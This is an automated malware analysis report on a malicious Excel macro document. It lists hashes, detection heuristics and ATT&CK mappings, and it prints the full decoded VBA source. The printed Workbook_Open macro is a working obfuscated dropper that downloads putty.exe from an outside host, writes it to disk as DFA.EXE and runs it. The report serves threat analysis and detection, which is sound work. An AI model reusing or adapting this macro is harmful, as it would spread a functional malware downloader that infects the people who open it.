Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fc8a2fe3c97537c1…

MALICIOUS

Office (OOXML)

12.5 KB Created: 2021-06-24 08:35:56 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-06-30
MD5: 4f5349e1b849f4ccb20f19bf7bf625b9 SHA-1: e7c596a9b7d4feb17bdb0af9dd5e59d5beb3fe0d SHA-256: fc8a2fe3c97537c18fefadbe1f3aa1a25035b3376fae548e7405b10aa8a5bfa2
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1083 File and Directory Discovery T1071.001 Web Protocols

The Workbook_Open macro is obfuscated and uses Shell() to download and execute a file from http://www.jomgegar.org/putty.exe. The script reconstructs the URL and the filename 'Z3y.VBS' using character code manipulation. It also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(152 - 85) & Chr(622 - 545) & Chr(599 - 499) & Chr(894 - 862) & Chr(965 - 918) & Chr(822 - 723) & Chr(894 - 862) & Chr(822 - 723) & Chr(599 - 499) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(152 - 85) & Chr(622 - 545) & Chr(599 - 499) & Chr(894 - 862) & Chr(965 - 918) & Chr(822 - 723) & Chr(894 - 862) & Chr(822 - 723) & Chr(599 - 499) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & V8d & " P3t= ""http://www.jomgegar.org/putty.exe"">>Z3y.VBS &" & V8d & " X2w = F6l(""\^YF]p]"")>>Z3y.VBS &" & V8d & " Set C3j = CreateObject(F6l(""ekpedJFped`llh""))>>Z3y.VBS &" & V8d & " C3j.Open F6l(""_]l""), P3t, False>>Z3y.VBS &" & V8d & " C3j.send ("""")>>Z3y.VBS  &" & V8d & " Set X9x = CreateObject(F6l(""Y\g\ZFklj]Ye""))>>Z3y.VBS &" & V8d & " X9x.Open>>Z3y.VBS &" & V8d & " X9x.Type = 1 >>Z3y.VBS  &@eCHo X9x.Write C3j.ResponseBody>>Z3y.VBS &" & V8d & " X9x.Position = 0 >>Z3y.VBS &" …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(152 - 85) & Chr(622 - 545) & Chr(599 - 499) & Chr(894 - 862) & Chr(965 - 918) & Chr(822 - 723) & Chr(894 - 862) & Chr(822 - 723) & Chr(599 - 499) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & V8d & " P3t= ""http://www.jomgegar.org/putty.exe"">>Z3y.VBS &" & V8d & " X2w = F6l(""\^YF]p]"")>>Z3y.VBS &" & V8d & " Set C3j = CreateObject(F6l(""ekpedJFped`llh""))>>Z3y.VBS &" & V8d & " C3j.Open F6l(""_]l""), P3t, False>>Z3y.VBS &" & V8d & " C3j.send ("""")>>Z3y.VBS  &" & V8d & " Set X9x = CreateObject(F6l(""Y\g\ZFklj]Ye""))>>Z3y.VBS &" & V8d & " X9x.Open>>Z3y.VBS &" & V8d & " X9x.Type = 1 >>Z3y.VBS  &@eCHo X9x.Write C3j.ResponseBody>>Z3y.VBS &" & V8d & " X9x.Position = 0 >>Z3y.VBS &" …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.jomgegar.org/putty.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2568 bytes
SHA-256: 66081ac868dc480b32f10df192f12edcb1191ed6f3d76bd00881d2c45c94e9ea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub Workbook_Open()
V8d = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(152 - 85) & Chr(622 - 545) & Chr(599 - 499) & Chr(894 - 862) & Chr(965 - 918) & Chr(822 - 723) & Chr(894 - 862) & Chr(822 - 723) & Chr(599 - 499) & _
 Chr(894 - 862) & Chr(817 - 780) & Chr(269 - 185) & Chr(291 - 222) & Chr(723 - 646) & Chr(273 - 193) & Chr(817 - 780) & _
 " & " & V8d & " P3t= ""http://www.jomgegar.org/putty.exe"">>Z3y.VBS &" & V8d & " X2w = F6l(""\^YF]p]"")>>Z3y.VBS &" & V8d & " Set C3j = CreateObject(F6l(""ekpedJFped`llh""))>>Z3y.VBS &" & V8d & " C3j.Open F6l(""_]l""), P3t, False>>Z3y.VBS &" & V8d & " C3j.send ("""")>>Z3y.VBS  &" & V8d & " Set X9x = CreateObject(F6l(""Y\g\ZFklj]Ye""))>>Z3y.VBS &" & V8d & " X9x.Open>>Z3y.VBS &" & V8d & " X9x.Type = 1 >>Z3y.VBS  &@eCHo X9x.Write C3j.ResponseBody>>Z3y.VBS &" & V8d & " X9x.Position = 0 >>Z3y.VBS &" & V8d & " X9x.SaveToFile X2w, 2 >>Z3y.VBS &" & V8d & " X9x.Close>>Z3y.VBS &" & V8d & " function F6l(H1n) >> Z3y.VBS &" & V8d & " For E5g = 1 To Len(H1n) >>Z3y.VBS &" & V8d & " W4w = Mid(H1n, E5g, 1) >>Z3y.VBS &" & V8d & " W4w = Chr(Asc(W4w)- 24) >>Z3y.VBS &" & V8d & " Y1a = Y1a + W4w >> Z3y.VBS  &" & V8d & " Next >>Z3y.VBS &" & V8d & " F6l = Y1a >>Z3y.VBS &" & V8d & " End Function >>Z3y.VBS  & Z3y.VBS  &dEl Z3y.VBS  & tIMeOUT 13 & DFA.EXE", vbHide
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: 9b25f9d9c92759b9542c3fa16a70f2d5d47a74f95357b9ecbcccc3d56fa56f79
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.